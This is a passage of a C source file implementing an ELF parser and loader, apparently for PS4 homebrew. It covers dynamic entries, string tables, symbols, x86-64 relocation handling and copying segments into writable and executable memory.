elfDynamic->d_un.d_ptr; 311 | default: 312 | break; 313 | } 314 | return 0; 315 | } 316 | 317 | uint16_t elfDynamicsLength(ElfDynamic *dyn) 318 | { 319 | uint16_t i = 0; 320 | if(dyn != NULL) 321 | for(;dyn->d_tag != DT_NULL; ++dyn) 322 | ++i; 323 | return i; 324 | } 325 | 326 | ElfDynamic *elfDynamics(Elf *elf, uint16_t *size, uint16_t *length) 327 | { 328 | ElfSection *h; 329 | ElfSegment *h2; 330 | 331 | if(!elf) 332 | return NULL; 333 | 334 | if((h = elfSection(elf, NULL, ELF_SECTION_ATTRIBUTE_TYPE, SHT_DYNAMIC))) 335 | { 336 | if(size != NULL) 337 | *size = h->sh_entsize; 338 | if(length != NULL) 339 | *length = h->sh_size / h->sh_entsize; 340 | 341 | return (ElfDynamic *)(elf->data + h->sh_offset); 342 | } 343 | else if((h2 = elfSegment(elf, NULL, ELF_SEGMENT_ATTRIBUTE_TYPE, PT_DYNAMIC))) 344 | { 345 | if(size != NULL) 346 | *size = sizeof(ElfDynamic); 347 | if(length != NULL) //h2->p_filesz / sizeof(ElfDynamic); 348 | *length = elfDynamicsLength((ElfDynamic *)(elf->data + h2->p_offset)); 349 | 350 | return (ElfDynamic *)(elf->data + h2->p_offset); 351 | } 352 | 353 | return NULL; 354 | } 355 | 356 | ElfDynamic *elfDynamic(Elf *elf, uint16_t *index, ElfDynamicAttribute attribute, uint64_t value) 357 | { 358 | uint16_t size; 359 | uint16_t length; 360 | ElfDynamic *h, *t; 361 | uint16_t i = 0; 362 | 363 | if(!index) 364 | index = &i; 365 | 366 | h = elfDynamics(elf, &size, &length); 367 | 368 | if(!h) 369 | return NULL; 370 | 371 | for(; *index < length; ++(*index)) 372 | { 373 | t = (ElfDynamic *)((uint8_t *)h + *index * size); 374 | if(attribute == ELF_DYNAMIC_ATTRIBUTE_NONE || elfDynamicAttribute(t, attribute) == value) 375 | return t; 376 | } 377 | 378 | return NULL; 379 | } 380 | 381 | ElfDynamic *elfLoadedDynamics(Elf *elf, uint16_t *size, uint16_t *length) 382 | { 383 | //ElfSection *h; 384 | ElfSegment *h2; 385 | 386 | if(!elf) 387 | return NULL; 388 | 389 | if((h2 = elfSegment(elf, NULL, ELF_SEGMENT_ATTRIBUTE_TYPE, PT_DYNAMIC))) 390 | { 391 | if(size != NULL) 392 | *size = sizeof(ElfDynamic); 393 | if(length != NULL) 394 | *length = elfDynamicsLength((ElfDynamic *)h2->p_vaddr); 395 | 396 | return (ElfDynamic *)h2->p_vaddr; 397 | } 398 | 399 | return NULL; 400 | } 401 | 402 | ElfDynamic *elfLoadedDynamic(Elf *elf, uint16_t *index, ElfDynamicAttribute attribute, uint64_t value) 403 | { 404 | uint16_t size; 405 | uint16_t length; 406 | ElfDynamic *h, *t; 407 | uint16_t i = 0; 408 | 409 | if(!index) 410 | index = &i; 411 | 412 | h = elfLoadedDynamics(elf, &size, &length); 413 | 414 | if(!h) 415 | return NULL; 416 | 417 | for(; *index < length; ++(*index)) 418 | { 419 | t = (ElfDynamic *)((uint8_t *)h + *index * size); 420 | if(attribute == ELF_DYNAMIC_ATTRIBUTE_NONE || elfDynamicAttribute(t, attribute) == value) 421 | return t; 422 | } 423 | 424 | return NULL; 425 | } 426 | 427 | /* --- elf string tables --- */ 428 | 429 | char *elfStringFromIndex(char *mem, uint64_t size, uint32_t index) 430 | { 431 | uint64_t i, j = 0; 432 | 433 | if(!mem) 434 | return NULL; 435 | 436 | if(index == 0) 437 | return mem; 438 | 439 | for(i = 0; i < size - 1; ++i) 440 | if(mem[i] == '\0' && ++j == index) 441 | return mem + i + 1; 442 | 443 | return NULL; 444 | } 445 | 446 | char *elfStringFromOffset(char *mem, uint64_t size, uint32_t offset) 447 | { 448 | if(!mem || offset >= size) 449 | return NULL; 450 | 451 | return mem + offset; 452 | } 453 | 454 | uint32_t elfStringToOffset(char *mem, uint64_t size, char *str) 455 | { 456 | uint64_t i, j; 457 | 458 | if(!str) 459 | return 0; 460 | 461 | for(i = 0; i < size; ++i) 462 | { 463 | for(j = 0; j < ELF_MAXIMAL_STRING_LENGTH && mem[i + j] == str[j]; ++j) 464 | if(str[j] == '\0') 465 | return i; 466 | } 467 | 468 | return 0; 469 | } 470 | 471 | uint32_t elfStringToIndex(char *mem, uint64_t size, char *str) 472 | { 473 | uint64_t index, i, j; 474 | 475 | if(!str) 476 | return 0; 477 | 478 | index = 0; 479 | for(i = 0; i < size; ++i) 480 | { 481 | for(j = 0; j < ELF_MAXIMAL_STRING_LENGTH && mem[i + j] == str[j]; ++j) 482 | if(str[j] == '\0') 483 | return index; 484 | 485 | if(mem[i] == '\0') 486 | index++; 487 | } 488 | 489 | return 0; 490 | } 491 | 492 | /* --- elf relocations --- */ 493 | 494 | uint64_t elfAddendRelocationAttribute(ElfAddendRelocation *elfAddendRelocation, ElfAddendRelocationAttribute attribute) 495 | { 496 | switch(attribute) 497 | { 498 | case ELF_ADDEND_RELOCATION_ATTRIBUTE_INFO: 499 | return elfAddendRelocation->r_info; 500 | case ELF_ADDEND_RELOCATION_ATTRIBUTE_OFFSET: 501 | return elfAddendRelocation->r_offset; 502 | case ELF_ADDEND_RELOCATION_ATTRIBUTE_ADDEND: 503 | return elfAddendRelocation->r_addend; 504 | default: 505 | break; 506 | } 507 | return 0; 508 | } 509 | 510 | ElfAddendRelocation *elfAddendRelocations(Elf *elf, char *name, uint16_t *size, uint16_t *length) 511 | { 512 | ElfSection *h; 513 | 514 | h = elfSectionByName(elf, name); 515 | 516 | if(!h || h->sh_type != SHT_RELA) 517 | return NULL; 518 | 519 | if(size != NULL) 520 | *size = h->sh_entsize; 521 | if(length != NULL) 522 | *length = h->sh_size / h->sh_entsize; 523 | 524 | return (ElfAddendRelocation *)(elf->data + h->sh_offset); 525 | } 526 | 527 | // FIXME this is not performant, better to pass in the base ElfAddendRelocation *, size and length 528 | /* 529 | ElfAddendRelocation *elfAddendRelocation(Elf *elf, char *name, uint16_t *index, ElfAddendRelocationAttribute attribute, uint64_t value) 530 | { 531 | uint16_t size; 532 | uint16_t length; 533 | ElfAddendRelocation *h, *t; 534 | uint16_t i = 0; 535 | 536 | if(!index) 537 | index = &i; 538 | 539 | h = elfAddendRelocations(elf, name, &size, &length); 540 | 541 | if(!h) 542 | return NULL; 543 | 544 | for(; *index < length; ++(*index)) 545 | { 546 | t = (ElfAddendRelocation *)((uint8_t *)h + *index * size); 547 | if(attribute == ElfAddendRelocationAttributeNone || elfAddendRelocationAttribute(t, attribute) == value) 548 | return t; 549 | } 550 | 551 | return NULL; 552 | } 553 | */ 554 | 555 | /* --- elf symbols --- */ 556 | 557 | uint64_t elfSymbolAttribute(ElfSymbol *elfSymbol, ElfSymbolAttribute attribute) 558 | { 559 | switch(attribute) 560 | { 561 | case ELF_SYMBOL_ATTRIBUTE_NAME: 562 | return elfSymbol->st_name; 563 | case ELF_SYMBOL_ATTRIBUTE_INFO: 564 | return elfSymbol->st_info; 565 | case ELF_SYMBOL_ATTRIBUTE_UNUSED: 566 | return elfSymbol->st_other; 567 | case ELF_SYMBOL_ATTRIBUTE_SECTION_INDEX: 568 | return elfSymbol->st_shndx; 569 | case ELF_SYMBOL_ATTRIBUTE_VALUE: 570 | return elfSymbol->st_value; 571 | case ELF_SYMBOL_ATTRIBUTE_SIZE: 572 | return elfSymbol->st_size; 573 | default: 574 | break; 575 | } 576 | return 0; 577 | } 578 | 579 | ElfSymbol *elfSymbols(Elf *elf, char *name, uint16_t *size, uint16_t *length) 580 | { 581 | ElfSection *h; 582 | 583 | h = elfSectionByName(elf, name); 584 | 585 | if(!h || (h->sh_type != SHT_SYMTAB && h->sh_type != SHT_DYNSYM)) 586 | return NULL; 587 | 588 | if(size != NULL) 589 | *size = h->sh_entsize; 590 | if(length != NULL) 591 | *length = h->sh_size / h->sh_entsize; 592 | 593 | return (ElfSymbol *)(elf->data + h->sh_offset); 594 | } 595 | 596 | /* 597 | ElfSymbol *elfSymbol(Elf *elf, char *name, uint16_t *index, ElfSymbolAttribute attribute, uint64_t value) 598 | { 599 | uint16_t size; 600 | uint16_t length; 601 | ElfSymbol *h, *t; 602 | uint16_t i = 0; 603 | 604 | if(!index) 605 | index = &i; 606 | 607 | h = elfSymbols(elf, name, &size, &length); 608 | 609 | if(!h) 610 | return NULL; 611 | 612 | for(; *index < length; ++(*index)) 613 | { 614 | t = (ElfSymbol *)((uint8_t *)h + *index * size); 615 | if(attribute == ElfSymbolAttributeNone || elfSymbolAttribute(t, attribute) == value) 616 | return t; 617 | } 618 | 619 | return NULL; 620 | }*/ 621 | 622 | /* actions */ 623 | 624 | Elf *elfCreate(void *data, size_t size) 625 | { 626 | Elf *elf, t; 627 | 628 | if(data == NULL) 629 | return NULL; 630 | 631 | t.data = data; 632 | t.size = size; 633 | 634 | if(!elfIsElf(&t)) 635 | return NULL; 636 | 637 | elf = malloc(sizeof(Elf)); 638 | elf->data = (uint8_t *)data; 639 | elf->size = size; 640 | 641 | return elf; 642 | } 643 | 644 | Elf *elfCreateLocal(void *elfl, void *data, size_t size) 645 | { 646 | Elf *elf, t; 647 | 648 | if(elfl == NULL || data == NULL) 649 | return NULL; 650 | 651 | t.data = data; 652 | t.size = size; 653 | 654 | if(!elfIsElf(&t)) 655 | return NULL; 656 | 657 | elf = (Elf *)elfl; 658 | elf->data = (uint8_t *)data; 659 | elf->size = size; 660 | 661 | return elf; 662 | } 663 | 664 | Elf *elfCreateLocalUnchecked(void *elfl, void *data, size_t size) 665 | { 666 | Elf *elf; 667 | 668 | if(elfl == NULL || data == NULL) 669 | return NULL; 670 | 671 | elf = (Elf *)elfl; 672 | elf->data = (uint8_t *)data; 673 | elf->size = size; 674 | 675 | return elf; 676 | } 677 | 678 | void *elfDestroy(Elf *elf) 679 | { 680 | void *data; 681 | 682 | if(elf == NULL) 683 | return NULL; 684 | 685 | data = elf->data; 686 | free(elf); 687 | 688 | return data; 689 | } 690 | 691 | void elfDestroyAndFree(Elf *elf) 692 | { 693 | void *d; 694 | 695 | if(elf == NULL) 696 | return; 697 | 698 | d = elfDestroy(elf); 699 | if(d) 700 | free(d); 701 | } 702 | 703 | /* --- --- */ 704 | 705 | int elfLoaderIsLoadable(Elf *elf) 706 | { 707 | ElfHeader *h; 708 | 709 | if(!elfIsElf(elf)) 710 | return 0; 711 | 712 | h = elfHeader(elf); 713 | 714 | return elfClass(elf) == ELFCLASS64 && 715 | elfEncoding(elf) == ELFDATA2LSB && 716 | elfVersion(elf) == EV_CURRENT && 717 | (elfABI(elf) == ELFOSABI_SYSV || elfABI(elf) == ELFOSABI_FREEBSD) && 718 | h->e_type == ET_DYN && 719 | h->e_phoff != 0 && 720 | h->e_shoff != 0 && 721 | h->e_machine == EM_X86_64 && 722 | h->e_version == EV_CURRENT; 723 | } 724 | 725 | int elfLoaderInstantiate(Elf *elf, void *memory) 726 | { 727 | ElfSection *sections; 728 | ElfSegment *segments; 729 | 730 | uint16_t size; 731 | uint16_t length; 732 | uint16_t index; 733 | 734 | if(elf == NULL) 735 | return ELF_LOADER_RETURN_ELF_NULL; 736 | if(memory == NULL) 737 | return ELF_LOADER_RETURN_NO_WRITABLE_MEMORY; 738 | 739 | segments = elfSegments(elf, &size, &length); 740 | if(segments) 741 | { 742 | for(index = 0; index < length; ++index) 743 | { 744 | ElfSegment *s = (ElfSegment *)((uint8_t *)segments + index * size); 745 | if(s->p_filesz) 746 | memcpy((char *)memory + s->p_paddr, elf->data + s->p_offset, s->p_filesz); 747 | if(s->p_memsz - s->p_filesz) 748 | memset((char *)memory + s->p_paddr + s->p_filesz, 0, s->p_memsz - s->p_filesz); 749 | } 750 | } 751 | else 752 | { 753 | length = 0; 754 | sections = elfSections(elf, &size, &length); 755 | if(!sections) 756 | return 0; 757 | for(index = 0; index < length; ++index) 758 | { 759 | ElfSection *s = (ElfSection *)((uint8_t *)sections + index * size); 760 | if(!(s->sh_flags & SHF_ALLOC)) 761 | continue; 762 | if(s->sh_size) 763 | memcpy((char *)memory + s->sh_addr, elf->data + s->sh_offset, s->sh_size); 764 | } 765 | } 766 | 767 | return ELF_LOADER_RETURN_OK; 768 | } 769 | 770 | int elfLoaderRelativeAddressIsExecutable(Elf *elf, int64_t address) 771 | { 772 | ElfSection *sections; 773 | ElfSegment *segments; 774 | 775 | uint16_t size; 776 | uint16_t length; 777 | uint16_t index; 778 | 779 | if(elf == NULL) 780 | return 0; 781 | 782 | segments = elfSegments(elf, &size, &length); 783 | if(segments) 784 | { 785 | for(index = 0; index < length; ++index) 786 | { 787 | ElfSegment *s = (ElfSegment *)((uint8_t *)segments + index * size); 788 | if(address >= s->p_paddr && address <= s->p_paddr + s->p_memsz) 789 | return s->p_flags & PF_X; 790 | } 791 | } 792 | else 793 | { 794 | length = 0; 795 | sections = elfSections(elf, &size, &length); 796 | if(!sections) 797 | return ELF_LOADER_RETURN_NO_SECTIONS_OR_SEGMENTS; 798 | for(index = 0; index < length; ++index) 799 | { 800 | ElfSection *s = (ElfSection *)((uint8_t *)sections + index * size); 801 | if(address >= s->sh_addr && address <= s->sh_addr + s->sh_size) 802 | return s->sh_flags & SHF_EXECINSTR; 803 | } 804 | } 805 | 806 | return 1; // FIXME: Recheck 807 | } 808 | 809 | // FIXME: Implement ps4 aware relocation for functions using dlsym 810 | int elfLoaderRelocate(Elf *elf, void *writable, void *executable) 811 | { 812 | int i, j; 813 | 814 | uint16_t relocationSize = 0; 815 | uint16_t relocationsLength = 0; 816 | ElfAddendRelocation *relocations; 817 | 818 | uint16_t dynamicSymbolSize = 0; 819 | uint16_t dynamicSymbolsLength = 0; 820 | ElfSymbol *dynamicSymbols; 821 | 822 | char *r1 = ".rela.dyn"; 823 | char *r2 = ".rela.plt"; 824 | char *rel[2] = {r1, r2}; 825 | 826 | if(elf == NULL) 827 | return ELF_LOADER_RETURN_ELF_NULL; 828 | if(writable == NULL) 829 | return ELF_LOADER_RETURN_NO_WRITABLE_MEMORY; 830 | if(executable == NULL) 831 | return ELF_LOADER_RETURN_NO_EXECUTABLE_MEMORY; 832 | 833 | dynamicSymbols = elfSymbols(elf, ".dynsym", &dynamicSymbolSize, &dynamicSymbolsLength); 834 | //symbols = elfSymbols(elf, ".symtab", &symbolSize, &symbolsLength); 835 | 836 | for(j = 0; j < sizeof(rel) / sizeof(rel[0]); ++j) 837 | { 838 | relocationsLength = 0; 839 | relocations = elfAddendRelocations(elf, rel[j], &relocationSize, &relocationsLength); 840 | 841 | for(i = 0; i < relocationsLength; ++i) 842 | { 843 | ElfSymbol *symbol; 844 | ElfAddendRelocation *relocation = (ElfAddendRelocation *)(((uint8_t *)relocations) + relocationSize * i); 845 | uint16_t relocationType = (uint16_t)elfRelocationType(relocation->r_info); 846 | uint16_t relocationSymbol = (uint16_t)elfRelocationSymbol(relocation->r_info); 847 | uint8_t **offset = (uint8_t **)((uint8_t *)writable + relocation->r_offset); 848 | int64_t value = 0; 849 | 850 | switch(relocationType) 851 | { 852 | case R_X86_64_RELATIVE: 853 | value = relocation->r_addend; 854 | break; 855 | case R_X86_64_64: 856 | symbol = (ElfSymbol *)(((uint8_t *)dynamicSymbols) + dynamicSymbolSize * relocationSymbol); 857 | value = symbol->st_value + relocation->r_addend; 858 | break; 859 | case R_X86_64_JMP_SLOT: 860 | case R_X86_64_GLOB_DAT: 861 | symbol = (ElfSymbol *)(((uint8_t *)dynamicSymbols) + dynamicSymbolSize * relocationSymbol); 862 | value = symbol->st_value; 863 | break; 864 | default: 865 | return ELF_LOADER_RETURN_UNKNOWN_RELOCATION; 866 | } 867 | 868 | if(elfLoaderRelativeAddressIsExecutable(elf, value)) 869 | *offset = (uint8_t *)executable + value; 870 | else 871 | *offset = (uint8_t *)writable + value; 872 | } 873 | } 874 | 875 | return ELF_LOADER_RETURN_OK; 876 | } 877 | 878 | int elfLoaderLoad(Elf *elf, void *writable, void *executable) 879 | { 880 | int r = ELF_LOADER_RETURN_OK; 881 | 882 | if(elf == NULL) 883 | return ELF_LOADER_RETURN_ELF_NULL; 884 | if(writable == NULL) 885 | return ELF_LOADER_RETURN_NO_WRITABLE_MEMORY; 886 | if(executable == NULL) 887 | return ELF_LOADER_RETURN_NO_EXECUTABLE_MEMORY; 888 | 889 | if(!elfLoaderIsLoadable(elf)) 890 | return ELF_LOADER_RETURN_IS_NOT_LOADABLE; 891 | 892 | if((r = elfLoaderInstantiate(elf, writable)) != ELF_LOADER_RETURN_OK) 893 | return r; 894 | 895 | r = elfLoaderRelocate(elf, writable, executable); 896 | 897 | return r; 898 | } 899 | --------------------------------------------------------------------------------